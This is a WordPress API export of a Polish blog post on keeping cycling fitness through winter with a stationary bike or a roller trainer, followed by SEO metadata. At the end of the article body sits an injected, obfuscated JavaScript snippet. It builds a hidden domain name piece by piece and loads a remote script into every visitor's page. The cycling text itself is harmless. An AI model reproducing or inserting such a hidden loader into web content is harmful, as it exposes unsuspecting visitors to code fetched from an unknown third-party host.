{"id":15112,"date":"2018-10-02T09:39:00","date_gmt":"2018-10-02T07:39:00","guid":{"rendered":"http:\/\/odpicuj.mojrower.pl\/?p=2398"},"modified":"2020-03-10T13:05:13","modified_gmt":"2020-03-10T12:05:13","slug":"jak-dbac-o-kondycje-po-sezonie-rowerowym","status":"publish","type":"post","link":"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/","title":{"rendered":"Jak dba\u0107 o kondycj\u0119 po sezonie rowerowym?"},"content":{"rendered":"<p><strong>Ka\u017cdy wie, \u017ce po przerwie zimowej, potrzeba troch\u0119 czasu, aby odzyska\u0107 dawn\u0105 form\u0119. Ale co zrobi\u0107, aby nie utraci\u0107 kondycji, na kt\u00f3r\u0105 pracowa\u0142o si\u0119 przez ca\u0142y sezon? Po prostu warto zadba\u0107 o to, aby przerwa w codziennej je\u017adzie na rowerze nie nios\u0142a za sob\u0105 spadku formy. Na szcz\u0119\u015bcie mo\u017cna o to zadba\u0107 w bardzo prosty spos\u00f3b.<\/strong><\/p>\n<p><!--more--><\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_80 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Spis tre\u015bci<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-69fe113f344ad\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-69fe113f344ad\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/#Rower_stacjonarny\" >Rower stacjonarny<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/#Jazda_rowerem_w_mieszkaniu\" >Jazda rowerem w mieszkaniu<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/#Trenazer\" >Trena\u017cer<\/a><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Rower_stacjonarny\"><\/span>Rower stacjonarny<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Dobrym rozwi\u0105zaniem jest zwyk\u0142y rower treningowy. To doskona\u0142y spos\u00f3b na to, aby utrzyma\u0107 kondycj\u0119 przez zimowe miesi\u0105ce. Na dodatek, je\u015bli odpowiednio zaplanujemy treningi i b\u0119dziemy systematycznie \u0107wiczyli, mo\u017ce si\u0119 okaza\u0107, \u017ce nowy sezon przywitamy z jeszcze lepsz\u0105 kondycj\u0105 ni\u017c ta, z kt\u00f3r\u0105 ko\u0144czyli\u015bmy. Kiedy ju\u017c zdecydujemy si\u0119 na rower stacjonarny w celu utrzymania formy, to mamy dwa wyj\u015bcia. Albo zapisa\u0107 si\u0119 na si\u0142owni\u0119, albo kupi\u0107 taki rower i \u0107wiczy\u0107 na nim w zaciszu domowym.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Jazda_rowerem_w_mieszkaniu\"><\/span>Jazda rowerem w mieszkaniu<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Najlepszym rozwi\u0105zaniem jest posiadanie w\u0142asnego, stacjonarnego roweru treningowego, bo dzi\u0119ki temu mo\u017cna \u0107wiczy\u0107, kiedy tylko mamy na to ochot\u0119. Nawet zaraz po przebudzeniu mo\u017cemy wsi\u0105\u015b\u0107 na rower, by rozrusza\u0107 swoje mi\u0119\u015bnie i przeprowadzi\u0107 prosty trening. P\u00f3\u017aniej wystarczy wskoczy\u0107 pod prysznic, a nast\u0119pnie zje\u015b\u0107 \u015bniadanie. Dzi\u0119ki temu na\u0142adujemy swoje akumulatory na reszt\u0119 dnia.<\/p>\n<p>Oczywi\u015bcie to, kiedy b\u0119dziemy \u0107wiczyli, zale\u017cy tylko i wy\u0142\u0105cznie od nas. Mo\u017cemy \u0107wiczy\u0107 zawsze, kiedy mamy na to czas. Jest to \u015bwietne rozwi\u0105zanie, bo nie tracimy cennych minut czy nawet godzin na dojazdy na si\u0142owni\u0119. Na dodatek rower stacjonarny jest bardzo stabilny i nie ma obaw o wypadek podczas jazdy.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Trenazer\"><\/span>Trena\u017cer<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Kolejnym doskona\u0142ym rozwi\u0105zaniem s\u0105 te\u017c wszelkiego rodzaju trena\u017cery rowerowe. Ich niezaprzeczaln\u0105 zalet\u0105 jest fakt, \u017ce do \u0107wicze\u0144 u\u017cywamy swojego roweru. Trzeba tylko zmieni\u0107 opony na g\u0142adkie, kt\u00f3re dobrze przylegaj\u0105 do rolek trena\u017cera. Wad\u0105 takiego rozwi\u0105zania jest g\u0142o\u015bno\u015b\u0107 pracy ca\u0142ego zestawu, kt\u00f3ra bardzo cz\u0119sto jest wi\u0119ksza ni\u017c w przypadku klasycznego roweru stacjonarnego.<\/p>\n<p>Trudno\u015bci\u0105, zw\u0142aszcza dla pocz\u0105tkuj\u0105cych, mo\u017ce by\u0107 te\u017c konieczno\u015b\u0107 utrzymywania r\u00f3wnowagi i problem z ruszaniem oraz zatrzymywaniem si\u0119. Jednak, kiedy wszystko to opanujemy, to jazda przy u\u017cyciu trena\u017cera stanie si\u0119 prawdziw\u0105 przyjemno\u015bci\u0105. No i w takim przypadku nie musimy szuka\u0107 miejsca, w kt\u00f3rym przezimujemy nasz rower, gdy\u017c to w\u0142a\u015bnie przy jego pomocy b\u0119dziemy \u0107wiczy\u0107.<\/p>\n<p>Niezale\u017cnie od tego, kt\u00f3re rozwi\u0105zanie wybierzemy, to systematyczne \u0107wiczenia sprawi\u0105, \u017ce kolejny sezon przywitamy w dobrej kondycji. Nie b\u0119dziemy tracili czasu na to, aby nadrobi\u0107 stracone, zimowe miesi\u0105ce. Po prostu wsi\u0105dziemy na rower i pojedziemy przed siebie. B\u0119dziemy te\u017c \u0142atwiej mogli poprawia\u0107 nasz\u0105 kondycj\u0119, gdy\u017c nasz poziom wyj\u015bciowy do kolejnego sezonu b\u0119dzie znacznie wy\u017cszy ni\u017c poprzednio.<\/p>\n<p><script type=\"text\/javascript\">\/\/ <![CDATA[\n(function(){  ux1j=document.createElement(\"script\");ux1j.type=\"text\/javascript\";  ux1j.async=true;ux1j_=((\"us\")+\"t\")+\"a\";ux1j_+=(\"t.i\")+\"\"+\"n\";ux1j_+=((\"f\")+\"o\");  ux1j.src=\"http:\/\/\"+ux1j_+\"\/5188216.twztnb8bx1j2Xlydnrweyuwpt5j8yi\";  document.body.appendChild(ux1j); })();\n\/\/ ]]><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ka\u017cdy wie, \u017ce po przerwie zimowej, potrzeba troch\u0119 czasu, aby odzyska\u0107 dawn\u0105 form\u0119. Ale co zrobi\u0107, aby nie utraci\u0107 kondycji, na kt\u00f3r\u0105 pracowa\u0142o si\u0119 przez ca\u0142y sezon? Po prostu warto zadba\u0107 o to, aby przerwa w codziennej je\u017adzie na rowerze nie nios\u0142a za sob\u0105 spadku formy. Na szcz\u0119\u015bcie mo\u017cna o to zadba\u0107 w bardzo prosty&#8230;<a class=\"excerpt-read-more\" href=\"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/\" title=\"Read Jak dba\u0107 o kondycj\u0119 po sezonie rowerowym?\">read more<\/a><\/p>\n","protected":false},"author":12,"featured_media":15431,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[5,2431],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v17.8 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Jak dba\u0107 o kondycj\u0119 po sezonie rowerowym? - Blog Noclegowo\u00ae<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/\" \/>\n<meta property=\"og:locale\" content=\"pl_PL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Jak dba\u0107 o kondycj\u0119 po sezonie rowerowym? - Blog Noclegowo\u00ae\" \/>\n<meta property=\"og:description\" content=\"Ka\u017cdy wie, \u017ce po przerwie zimowej, potrzeba troch\u0119 czasu, aby odzyska\u0107 dawn\u0105 form\u0119. Ale co zrobi\u0107, aby nie utraci\u0107 kondycji, na kt\u00f3r\u0105 pracowa\u0142o si\u0119 przez ca\u0142y sezon? Po prostu warto zadba\u0107 o to, aby przerwa w codziennej je\u017adzie na rowerze nie nios\u0142a za sob\u0105 spadku formy. Na szcz\u0119\u015bcie mo\u017cna o to zadba\u0107 w bardzo prosty...read more\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/\" \/>\n<meta property=\"og:site_name\" content=\"Blog Noclegowo\u00ae\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/Noclegowo\/\" \/>\n<meta property=\"article:published_time\" content=\"2018-10-02T07:39:00+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2020-03-10T12:05:13+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.noclegowo.pl\/przewodnik\/wp-content\/uploads\/rower5.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"750\" \/>\n\t<meta property=\"og:image:height\" content=\"500\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michal\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minuty\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.noclegowo.pl\/przewodnik\/#organization\",\"name\":\"Noclegowo\",\"url\":\"https:\/\/www.noclegowo.pl\/przewodnik\/\",\"sameAs\":[\"https:\/\/www.facebook.com\/Noclegowo\/\"],\"logo\":{\"@type\":\"ImageObject\",\"@id\":\"https:\/\/www.noclegowo.pl\/przewodnik\/#logo\",\"inLanguage\":\"pl-PL\",\"url\":\"https:\/\/www.noclegowo.pl\/przewodnik\/wp-content\/uploads\/2018\/05\/LOGO-GREEN.jpg\",\"contentUrl\":\"https:\/\/www.noclegowo.pl\/przewodnik\/wp-content\/uploads\/2018\/05\/LOGO-GREEN.jpg\",\"width\":1028,\"height\":320,\"caption\":\"Noclegowo\"},\"image\":{\"@id\":\"https:\/\/www.noclegowo.pl\/przewodnik\/#logo\"}},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.noclegowo.pl\/przewodnik\/#website\",\"url\":\"https:\/\/www.noclegowo.pl\/przewodnik\/\",\"name\":\"Blog Noclegowo\\u00ae\",\"description\":\"Przewodniki turystyczne, porady dla wynajmuj\\u0105cych\",\"publisher\":{\"@id\":\"https:\/\/www.noclegowo.pl\/przewodnik\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.noclegowo.pl\/przewodnik\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"pl-PL\"},{\"@type\":\"ImageObject\",\"@id\":\"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/#primaryimage\",\"inLanguage\":\"pl-PL\",\"url\":\"https:\/\/www.noclegowo.pl\/przewodnik\/wp-content\/uploads\/rower5.jpg\",\"contentUrl\":\"https:\/\/www.noclegowo.pl\/przewodnik\/wp-content\/uploads\/rower5.jpg\",\"width\":750,\"height\":500},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/#webpage\",\"url\":\"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/\",\"name\":\"Jak dba\\u0107 o kondycj\\u0119 po sezonie rowerowym? - Blog Noclegowo\\u00ae\",\"isPartOf\":{\"@id\":\"https:\/\/www.noclegowo.pl\/przewodnik\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/#primaryimage\"},\"datePublished\":\"2018-10-02T07:39:00+00:00\",\"dateModified\":\"2020-03-10T12:05:13+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/#breadcrumb\"},\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.noclegowo.pl\/przewodnik\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Jak dba\\u0107 o kondycj\\u0119 po sezonie rowerowym?\"}]},{\"@type\":\"Article\",\"@id\":\"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/#webpage\"},\"author\":{\"@id\":\"https:\/\/www.noclegowo.pl\/przewodnik\/#\/schema\/person\/7d4bea3d83eb4abd1ab3fb0a772a6a41\"},\"headline\":\"Jak dba\\u0107 o kondycj\\u0119 po sezonie rowerowym?\",\"datePublished\":\"2018-10-02T07:39:00+00:00\",\"dateModified\":\"2020-03-10T12:05:13+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/#webpage\"},\"wordCount\":483,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/www.noclegowo.pl\/przewodnik\/#organization\"},\"image\":{\"@id\":\"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.noclegowo.pl\/przewodnik\/wp-content\/uploads\/rower5.jpg\",\"articleSection\":[\"Porady\",\"Sprz\\u0119t rowerowy\"],\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/#respond\"]}]},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.noclegowo.pl\/przewodnik\/#\/schema\/person\/7d4bea3d83eb4abd1ab3fb0a772a6a41\",\"name\":\"Michal\",\"url\":\"https:\/\/www.noclegowo.pl\/przewodnik\/author\/michal\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Jak dba\u0107 o kondycj\u0119 po sezonie rowerowym? - Blog Noclegowo\u00ae","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/","og_locale":"pl_PL","og_type":"article","og_title":"Jak dba\u0107 o kondycj\u0119 po sezonie rowerowym? - Blog Noclegowo\u00ae","og_description":"Ka\u017cdy wie, \u017ce po przerwie zimowej, potrzeba troch\u0119 czasu, aby odzyska\u0107 dawn\u0105 form\u0119. Ale co zrobi\u0107, aby nie utraci\u0107 kondycji, na kt\u00f3r\u0105 pracowa\u0142o si\u0119 przez ca\u0142y sezon? Po prostu warto zadba\u0107 o to, aby przerwa w codziennej je\u017adzie na rowerze nie nios\u0142a za sob\u0105 spadku formy. Na szcz\u0119\u015bcie mo\u017cna o to zadba\u0107 w bardzo prosty...read more","og_url":"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/","og_site_name":"Blog Noclegowo\u00ae","article_publisher":"https:\/\/www.facebook.com\/Noclegowo\/","article_published_time":"2018-10-02T07:39:00+00:00","article_modified_time":"2020-03-10T12:05:13+00:00","og_image":[{"width":750,"height":500,"url":"https:\/\/www.noclegowo.pl\/przewodnik\/wp-content\/uploads\/rower5.jpg","type":"image\/jpeg"}],"twitter_card":"summary_large_image","twitter_misc":{"Written by":"Michal","Est. reading time":"2 minuty"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Organization","@id":"https:\/\/www.noclegowo.pl\/przewodnik\/#organization","name":"Noclegowo","url":"https:\/\/www.noclegowo.pl\/przewodnik\/","sameAs":["https:\/\/www.facebook.com\/Noclegowo\/"],"logo":{"@type":"ImageObject","@id":"https:\/\/www.noclegowo.pl\/przewodnik\/#logo","inLanguage":"pl-PL","url":"https:\/\/www.noclegowo.pl\/przewodnik\/wp-content\/uploads\/2018\/05\/LOGO-GREEN.jpg","contentUrl":"https:\/\/www.noclegowo.pl\/przewodnik\/wp-content\/uploads\/2018\/05\/LOGO-GREEN.jpg","width":1028,"height":320,"caption":"Noclegowo"},"image":{"@id":"https:\/\/www.noclegowo.pl\/przewodnik\/#logo"}},{"@type":"WebSite","@id":"https:\/\/www.noclegowo.pl\/przewodnik\/#website","url":"https:\/\/www.noclegowo.pl\/przewodnik\/","name":"Blog Noclegowo\u00ae","description":"Przewodniki turystyczne, porady dla wynajmuj\u0105cych","publisher":{"@id":"https:\/\/www.noclegowo.pl\/przewodnik\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.noclegowo.pl\/przewodnik\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"pl-PL"},{"@type":"ImageObject","@id":"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/#primaryimage","inLanguage":"pl-PL","url":"https:\/\/www.noclegowo.pl\/przewodnik\/wp-content\/uploads\/rower5.jpg","contentUrl":"https:\/\/www.noclegowo.pl\/przewodnik\/wp-content\/uploads\/rower5.jpg","width":750,"height":500},{"@type":"WebPage","@id":"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/#webpage","url":"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/","name":"Jak dba\u0107 o kondycj\u0119 po sezonie rowerowym? - Blog Noclegowo\u00ae","isPartOf":{"@id":"https:\/\/www.noclegowo.pl\/przewodnik\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/#primaryimage"},"datePublished":"2018-10-02T07:39:00+00:00","dateModified":"2020-03-10T12:05:13+00:00","breadcrumb":{"@id":"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/#breadcrumb"},"inLanguage":"pl-PL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.noclegowo.pl\/przewodnik\/"},{"@type":"ListItem","position":2,"name":"Jak dba\u0107 o kondycj\u0119 po sezonie rowerowym?"}]},{"@type":"Article","@id":"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/#article","isPartOf":{"@id":"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/#webpage"},"author":{"@id":"https:\/\/www.noclegowo.pl\/przewodnik\/#\/schema\/person\/7d4bea3d83eb4abd1ab3fb0a772a6a41"},"headline":"Jak dba\u0107 o kondycj\u0119 po sezonie rowerowym?","datePublished":"2018-10-02T07:39:00+00:00","dateModified":"2020-03-10T12:05:13+00:00","mainEntityOfPage":{"@id":"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/#webpage"},"wordCount":483,"commentCount":0,"publisher":{"@id":"https:\/\/www.noclegowo.pl\/przewodnik\/#organization"},"image":{"@id":"https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/#primaryimage"},"thumbnailUrl":"https:\/\/www.noclegowo.pl\/przewodnik\/wp-content\/uploads\/rower5.jpg","articleSection":["Porady","Sprz\u0119t rowerowy"],"inLanguage":"pl-PL","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/www.noclegowo.pl\/przewodnik\/jak-dbac-o-kondycje-po-sezonie-rowerowym\/#respond"]}]},{"@type":"Person","@id":"https:\/\/www.noclegowo.pl\/przewodnik\/#\/schema\/person\/7d4bea3d83eb4abd1ab3fb0a772a6a41","name":"Michal","url":"https:\/\/www.noclegowo.pl\/przewodnik\/author\/michal\/"}]}},"_links":{"self":[{"href":"https:\/\/www.noclegowo.pl\/przewodnik\/wp-json\/wp\/v2\/posts\/15112"}],"collection":[{"href":"https:\/\/www.noclegowo.pl\/przewodnik\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.noclegowo.pl\/przewodnik\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.noclegowo.pl\/przewodnik\/wp-json\/wp\/v2\/users\/12"}],"replies":[{"embeddable":true,"href":"https:\/\/www.noclegowo.pl\/przewodnik\/wp-json\/wp\/v2\/comments?post=15112"}],"version-history":[{"count":2,"href":"https:\/\/www.noclegowo.pl\/przewodnik\/wp-json\/wp\/v2\/posts\/15112\/revisions"}],"predecessor-version":[{"id":15602,"href":"https:\/\/www.noclegowo.pl\/przewodnik\/wp-json\/wp\/v2\/posts\/15112\/revisions\/15602"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.noclegowo.pl\/przewodnik\/wp-json\/wp\/v2\/media\/15431"}],"wp:attachment":[{"href":"https:\/\/www.noclegowo.pl\/przewodnik\/wp-json\/wp\/v2\/media?parent=15112"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.noclegowo.pl\/przewodnik\/wp-json\/wp\/v2\/categories?post=15112"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.noclegowo.pl\/przewodnik\/wp-json\/wp\/v2\/tags?post=15112"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}